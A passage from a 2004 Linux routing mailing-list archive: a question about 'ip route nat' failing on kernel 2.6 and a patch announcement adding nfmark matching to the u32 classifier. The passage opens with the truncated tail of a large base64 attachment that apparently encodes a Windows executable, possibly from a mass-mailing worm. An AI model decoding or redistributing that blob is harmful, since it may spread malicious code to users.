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
ljGEwzV/cVr6+d2mOAl5MMYxjIYV8REGNJCzPIhGa74pRQlL4WAjs24rNCN5Wu4/Ejwktguu
xcK+yPmvF9ocP2FQA/xTfmkzb4KD9HLU6+RKtQsQF9grJ6DFdzXhHHqtZxKrLA0hW8bPNIS4
c0KupEVI6+nUXvtMKsYjfoSFED9mhv4HNVHs5nm7JcyIEEgbybCRFs5YPQ4FfD6tKabMwS5j
JtKmOoMK50OgkO6RY6oBXkO7FrPM0ESTYa0uZPtIMtC/Wt/zgP3CDPW0bRoqrRz3ng6hJG6p
q1w4GzLQfH3gjCzIgqoV+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAgADAAAAIAAAgA4AAACQAACAAAAAAAAAAAAAAAAAAAACAAEAAABAAACAAgAAAGgA
AIAAAAAAAAAAAAAAAAAAAAEAAAAAAFgAAADQ8AAA6AIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAABAAAAAACAAAAAuPMAACgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAAqAAAgAAA
AAAAAAAAAAAAAAAAAQAAAAAAwAAAAOD0AAAiAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQA
AAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDA
wACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAEAAAAAAA
AAAAAAAAAAAAAZEAAAAAAAAAAAAAAAAAABkRAAAAAAAAAAAAAAAAAAGREAAAAAAAAAAAAAAA
AAAZEQAAAAAAAAAAAAAAAAABkRAAAIAAAAAAAAAAAAAAGREAAACHd3d3d3d3d3d3cZEQd3dw
j////////////xkRD///cI//////d/////GREP///3CP///3eIiP//8ZEQ////9wj///eAj/
+P/xkRD/////cI//94B/////hwEP/////3CP//gI////+PiA//////9wj/9wB////4AID///
////cI//gA////9wAP///////3CP/wAP////gA////////9wj/8AD///////////////cI//
AAf//////////////3CP/4AI//////////////9wj/9wAIf/////////////cI//9wAAh3j/
/////////3CP//94AAAA//////////9wj////3gAAP//////////cI//////////////////
/3CHd3d3d3d3d3d3d3d3d3dwh3d3d3d3d3d3d3d3d3d3cId3d3d3d3d3d3d3d3d3d3CERERE
RERERERERERERERAhEREREREREREREREREREQIRERERERERERERERERERECIiIiIiIiIiIiI
iIiIiIiI////8f///+H////B////g////wf///4PAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAEAAAACAAAAABAAQAAAAAAIAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/
AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAARAAAAAAAAAZEAAAAAAAAZEIAAAAAAAZEA
h3d3d3cZH3CP94B/8ZH/cI94D4+PH/9wj4D/+AD//3CPgP/3D///cI+Aj/j///9wj3gIj///
/3CP94AP////cId3d3d3d3dwhERERERERECEREREREREQIiIiIiIiIiI//z////4////8f//
AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA
AQACACAgEAABAAQA6AIAAAEAEBAQAAEABAAoAQAAAgBMRWUoDxV8IwJuErYXMiVV

----------juuycxvfawpkjctjndeh--


From torre_cremata@mail.ru  Fri Nov  5 08:22:32 2004
From: torre_cremata@mail.ru (Peter Volkov Alexandrovich)
Date: Fri, 5 Nov 2004 11:22:32 +0300
Subject: [LARTC] ip route nat madness.
In-Reply-To: <E1CMUVN-000993-00.torre_cremata-mail-ru@f12.mail.ru>
References: <E1CMUVN-000993-00.torre_cremata-mail-ru@f12.mail.ru>
Message-ID: <200411051122.32172.torre_cremata@mail.ru>

Hello.

I need your help. The problem is I can not make route nat working with kern=
el=20
2.6 although in 2.4 everthing works perfectly.

If this is the wrong list to ask question about this, please poke me in the=
=20
right one.

So. I have router with two network cards: eth0(192.168.1.10) and eth1
(192.168.2.150). Kernel is 2.6.8.1. In the kernel all options and suboption=
s=20
concerning "IP: advanced router" are enabled. I want to map computer in=20
192.168.2.0/24 subnet with IP 192.168.2.5 =9Aon 192.168.1.17 in 192.168.1.0=
/24=20
subnet.

I am not an artist but may be this graph can illustrate my situation:

=9A =9A =9A =9A =9A =9A =9A192.168.1.0/24<..... nat =9A....>192.168.2.0/24
<192.168.1.1>-----<192.168.1.10>router<192.168.2.150>-----<192.168.2.5>
=9A =9A =9A =9A =9A =9A =9A =9A =9A =9A =9A =9Aeth0 =9A =9A =9A =9A =9A =9A=
 =9A =9Aeth1 =9A =9A =9A =9A =9A =9Ahost i want
=9A =9A =9A =9A =9A =9A =9A =9A =9A <192.168.1.17>----------nat------------=
> =9A =9Ato map
=9A =9A =9A =9A =9A =9A =9A =9A =9A dummy address


=9ASo following ip-cref written by Alexey Kuznetsov first of all I issue th=
e=20
command:

nat router # ip route add nat 192.168.1.17 via 192.168.2.5

Now my router answers ARP for 192.168.1.17 and recieves the packets for it.=
=20
Then it ever route them from eth0 to eth1 BUT it does not nat destination i=
p=20
address. Look what one can see using tcpdimp! I ping 172.16.1.17 from=20
192.168.1.1:
nat router # tcpdump -ni eth0
05:49:19.085838 arp who-has 192.168.1.17 tell 192.168.1.1
05:49:19.086938 arp reply 192.168.1.17 is-at 00:0c:29:od:85:04
05:49:19.692799 IP 192.168.1.1 > 192.168.1.17: icmp 64: echo request seq 1

AT the same time on eth1:
nat router # tcpdump -ni eth0
05:49:19.692837 IP 192.168.1.1 > 192.168.1.17: icmp 64: echo request seq 1

My route table is Ok.=20

nat router # ip route
192.168.2.0/24 dev eth1 proto kernel scope link src 192.168.2.250
192.168.1.0/24 dev eth1 proto kernel scope link src 192.168.1.10
127.0.0.0/8 via 127.0.0.1 dev lo scope link

So why the packet that should be DNATed is not and how could packet that=20
should be sent to eth0 sent to eth1?

Is there any other possibility to nat 192.168.2.5 on 192.168.1.17?

The last question what is with "IP: fast network address translation" in 2.=
6.9=20
kernel? Why it is absent?


Thank you in advance,
_____________
Peter.

P.S. I need your help to find sollution. Otherwise there is a possibility f=
or=20
my employer can dismiss me.

P.P.S. below is also my letter with the same problem. No one answered it.:(
On Tuesday 26 October 2004 20:49, =F0=C5=D4=D2 =F7=CF=CC=CB=CF=D7 =9Awrote:
> All worked with 2.4 kernel, but when I have to move to 2.6.8.1 it's not.
>
> I'm using "ip route nat 231.222.222.111 via 172.16.1.13" to substitute in=
et
> address 231.222.222.111 on 172.16.1.13 during routing. Look at the output:
> _____________
> myhost log # ip route list table local
> broadcast 127.255.255.255 dev lo =9Aproto kernel =9Ascope link =9Asrc 127=
=2E0.0.1
> local 172.16.0.1 dev eth1 =9Aproto kernel =9Ascope host =9Asrc 172.16.0.1
> broadcast 172.16.0.0 dev eth1 =9Aproto kernel =9Ascope link =9Asrc 172.16=
=2E0.1
> broadcast 231.222.222.111 dev eth0 =9Aproto kernel =9Ascope link =9Asrc
> 231.222.222.111 broadcast 231.222.222.111 dev eth0 =9Aproto kernel =9Asco=
pe
> link =9Asrc 231.222.222.111 local 231.222.222.111 dev eth0 =9Aproto kerne=
l=20
> scope host =9Asrc 231.222.222.111 broadcast 172.16.255.255 dev eth1 =9Apr=
oto
> kernel =9Ascope link =9Asrc 172.16.0.1 broadcast 127.0.0.0 dev lo =9Aprot=
o kernel
> =9Ascope link =9Asrc 127.0.0.1 nat 231.222.222.111 via 172.16.1.13 =9Asco=
pe host
> local 127.0.0.1 dev lo =9Aproto kernel =9Ascope host =9Asrc 127.0.0.1
> local 127.0.0.0/8 dev lo =9Aproto kernel =9Ascope host =9Asrc 127.0.0.1
>
> myhost log # ip rule
> 0: =9A =9A =9Afrom all lookup local
> 323: =9A =9Afrom 172.16.1.13 lookup main map-to 231.222.222.111
> 32766: =9Afrom all lookup main
> 32767: =9Afrom all lookup default
> _______________________
>
> So I'm trying to translate local address 172.16.1.13 on 231.222.222.111.
>
> And that was working under 2.4 kernel. But now I have to move to 2.6 kern=
el
> and now it's not working.
>
> I've used this commands:
> ip route add nat 231.222.222.111 via 172.16.1.13
> ip rule add prio 323 from 172.16.1.13 nat 231.222.222.111
>
> !!! To be sure that it is kernel problem I've added this two rules in my
> FORWARD chain in the very beginning: iptables -I FORWARD -s 172.16.1.13 -j
> LOG
> iptables -I FORWARD -d 231.222.222.111 -j LOG
>
> Look I have packets that should not be there:
> Oct 27 00:30:04 rcline IN=3Deth1 OUT=3Deth0 SRC=3D172.16.1.13 DST=3D64.12=
=2E161.185
> LEN=3D48 TOS=3D0x00 PREC=3D0x00 TTL=3D127 ID=3D43039 DF PROTO=3DTCP SPT=
=3D1923 DPT=3D5190
> WINDOW=3D65535 RES=3D0x00 SYN URGP=3D0 Oct 27 00:30:04 rcline IN=3Deth0 O=
UT=3Deth1
> SRC=3D83.102.131.142 DST=3D231.222.222.111 LEN=3D84 TOS=3D0x00 PREC=3D0x0=
0 TTL=3D59
> ID=3D2990 DF PROTO=3DICMP TYPE=3D8 CODE=3D0 ID=3D22310 SEQ=3D2991
>
> No substitution of niether destination, nor source adresses!!!
>
> Please help me to make this working. I've tried 2.6.9 kernel, but It seems
> there is no "IP: fast network address translation". Why. Is feature alrea=
dy
> deprecated?

From util@deuroconsult.ro  Fri Nov  5 11:38:33 2004
From: util@deuroconsult.ro (Catalin(ux aka Dino) BOIE)
Date: Fri, 5 Nov 2004 13:38:33 +0200 (EET)
Subject: [LARTC] [PATCH] Use nfmark as a key for u32 classifier
Message-ID: <Pine.LNX.4.61.0411051317330.23651@webhosting.rdsbv.ro>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

---1646943047-1849353369-1099654713=:19155
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed

Hello!

I am glad to announce a patch for u32 to allow matches on nfmark.
The patch is non intrusive (few lines).

Why I did this? Because fw classifier cannot be used together with u32. 
For example, now, you cannot match a mark of 0x90 and a destination 
port of 80. I know you can do it with iptables to do the marking, but if 
you use Jamal actions to apply mark to policed packets, you need this.

All stuff can be found at http://kernel.umbrella.ro/ also.

Dave, please consider adding this patch.

Stephen, if Dave accepts the patch, please apply the iproute2 patch. Thank 
you.

Signed-off-by: Catalin(ux aka Dino) BOIE <catab at umbrella.ro>

Thank you for you time.
---
Catalin(ux aka Dino) BOIE
catab at deuroconsult.ro
http://kernel.umbrella.ro/
---1646943047-1849353369-1099654713=:19155
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="iproute2-match-mark-in-u32.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.61.0411051338330.19155@webhosting.rdsbv.ro>
Content-Description: 
Content-Disposition: attachment; filename="iproute2-match-mark-in-u32.patch"

LS0tIGlwcm91dGUyLTIuNi45L3RjL2ZfdTMyLmMub3JpZwkyMDA0LTExLTA0
IDE1OjM4OjUzLjAwMDAwMDAwMCArMDIwMA0KKysrIGlwcm91dGUyLTIuNi45
L3RjL2ZfdTMyLmMJMjAwNC0xMS0wNSAxMjoyMzo0NC4wMDAwMDAwMDAgKzAy
MDANCkBAIC03LDYgKzcsNyBAQA0KICAqCQkyIG9mIHRoZSBMaWNlbnNlLCBv
ciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLg0KICAqDQog
ICogQXV0aG9yczoJQWxleGV5IEt1em5ldHNvdiwgPGt1em5ldEBtczIuaW5y
LmFjLnJ1Pg0KKyAqCQlNYXRjaCBtYXJrIGFkZGVkIGJ5IENhdGFsaW4odXgg
YWthIERpbm8pIEJPSUUgPGNhdGFiIGF0IHVtYnJlbGxhLnJvPiBbNSBub3Yg
MjAwNF0NCiAgKg0KICAqLw0KIA0KQEAgLTMzLDcgKzM0LDcgQEAgc3RhdGlj
IHZvaWQgZXhwbGFpbih2b2lkKQ0KIAlmcHJpbnRmKHN0ZGVyciwgIm9yICAg
ICAgICAgdTMyIGRpdmlzb3IgRElWSVNPUlxuIik7DQogCWZwcmludGYoc3Rk
ZXJyLCAiXG4iKTsNCiAJZnByaW50ZihzdGRlcnIsICJXaGVyZTogU0VMRUNU
T1IgOj0gU0FNUExFIFNBTVBMRSAuLi5cbiIpOw0KLQlmcHJpbnRmKHN0ZGVy
ciwgIiAgICAgICBTQU1QTEUgOj0geyBpcCB8IGlwNiB8IHVkcCB8IHRjcCB8
IGljbXAgfCB1ezMyfDE2fDh9IH0gU0FNUExFX0FSR1NcbiIpOw0KKwlmcHJp
bnRmKHN0ZGVyciwgIiAgICAgICBTQU1QTEUgOj0geyBpcCB8IGlwNiB8IHVk
cCB8IHRjcCB8IGljbXAgfCB1ezMyfDE2fDh9IHwgbWFyayB9IFNBTVBMRV9B
UkdTXG4iKTsNCiAJZnByaW50ZihzdGRlcnIsICIgICAgICAgRklMVEVSSUQg
Oj0gWDpZOlpcbiIpOw0KIH0NCiANCkBAIC01OTAsNyArNTkxLDI3IEBAIGRv
bmU6DQogCXJldHVybiByZXM7DQogfQ0KIA0KK3N0YXRpYyBpbnQgcGFyc2Vf
bWFyayhpbnQgKmFyZ2NfcCwgY2hhciAqKiphcmd2X3AsIHN0cnVjdCB0Y191
MzJfc2VsICpzZWwpDQorew0KKwlpbnQgcmVzID0gLTE7DQorCWludCBhcmdj
ID0gKmFyZ2NfcDsNCisJY2hhciAqKmFyZ3YgPSAqYXJndl9wOw0KKw0KKwlp
ZiAoYXJnYyA8PSAwKQ0KKwkJcmV0dXJuIC0xOw0KIA0KKwlpZiAoZ2V0X3Uz
MigmcmVzLCAqYXJndiwgMCkpIHsNCisJCWZwcmludGYoc3RkZXJyLCAiSWxs
ZWdhbCBcIm1hcmtcIlxuIik7DQorCQlyZXR1cm4gLTE7DQorCX0NCisJTkVY
VF9BUkcoKTsNCisJc2VsLT5tYXJrID0gcmVzOw0KKwlyZXMgPSAwOw0KKw0K
KwkqYXJnY19wID0gYXJnYzsNCisJKmFyZ3ZfcCA9IGFyZ3Y7DQorCXJldHVy
biByZXM7DQorfQ0KIA0KIHN0YXRpYyBpbnQgcGFyc2Vfc2VsZWN0b3IoaW50
ICphcmdjX3AsIGNoYXIgKioqYXJndl9wLCBzdHJ1Y3QgdGNfdTMyX3NlbCAq
c2VsKQ0KIHsNCkBAIC02NDEsNiArNjYyLDEyIEBAIHN0YXRpYyBpbnQgcGFy
c2Vfc2VsZWN0b3IoaW50ICphcmdjX3AsIGMNCiAJCXJlcyA9IHBhcnNlX2lj
bXAoJmFyZ2MsICZhcmd2LCBzZWwpOw0KIAkJZ290byBkb25lOw0KIAl9DQor
CWlmIChtYXRjaGVzKCphcmd2LCAibWFyayIpID09IDApIHsNCisJCU5FWFRf
QVJHKCk7DQorCQlyZXMgPSBwYXJzZV9tYXJrKCZhcmdjLCAmYXJndiwgc2Vs
KTsNCisJCWdvdG8gZG9uZTsNCisJfQ0KKw0KIAlyZXR1cm4gLTE7DQogDQog
ZG9uZToNCkBAIC05NjksNiArOTk2LDggQEAgc3RhdGljIGludCB1MzJfcHJp
bnRfb3B0KHN0cnVjdCBmaWx0ZXJfdQ0KIAkJc3RydWN0IHRjX3UzMl9rZXkg
KmtleSA9IHNlbC0+a2V5czsNCiAJCWlmIChzaG93X3N0YXRzICYmIE5VTEwg
IT0gcGYpDQogCQkJZnByaW50ZihmLCAiIChydWxlIGhpdCAlbGx1IHN1Y2Nl
c3MgJWxsdSkiLHBmLT5yY250LHBmLT5yaGl0KTsNCisJCWlmIChzZWwtPm1h
cmspDQorCQkJZnByaW50ZihmLCAiIG1hcmsgMHgleCIsIHNlbC0+bWFyayk7
DQogCQlpZiAoc2VsLT5ua2V5cykgew0KIAkJCWZvciAoaT0wOyBpPHNlbC0+
bmtleXM7IGkrKywga2V5KyspIHsNCiAJCQkJZnByaW50ZihmLCAiXG4gIG1h
dGNoICUwOHgvJTA4eCBhdCAlcyVkIiwNCi0tLSBpcHJvdXRlMi0yLjYuOS9p
bmNsdWRlL2xpbnV4L3BrdF9jbHMuaC5vcmlnCTIwMDQtMTEtMDQgMTU6NDI6
MjcuMDAwMDAwMDAwICswMjAwDQorKysgaXByb3V0ZTItMi42LjkvaW5jbHVk
ZS9saW51eC9wa3RfY2xzLmgJMjAwNC0xMS0wNSAxMToxMjoyMi4wMDAwMDAw
MDAgKzAyMDANCkBAIC0yMDgsNiArMjA4LDcgQEAgc3RydWN0IHRjX3UzMl9z
ZWwNCiAJdW5zaWduZWQgY2hhcgkJZmxhZ3M7DQogCXVuc2lnbmVkIGNoYXIJ
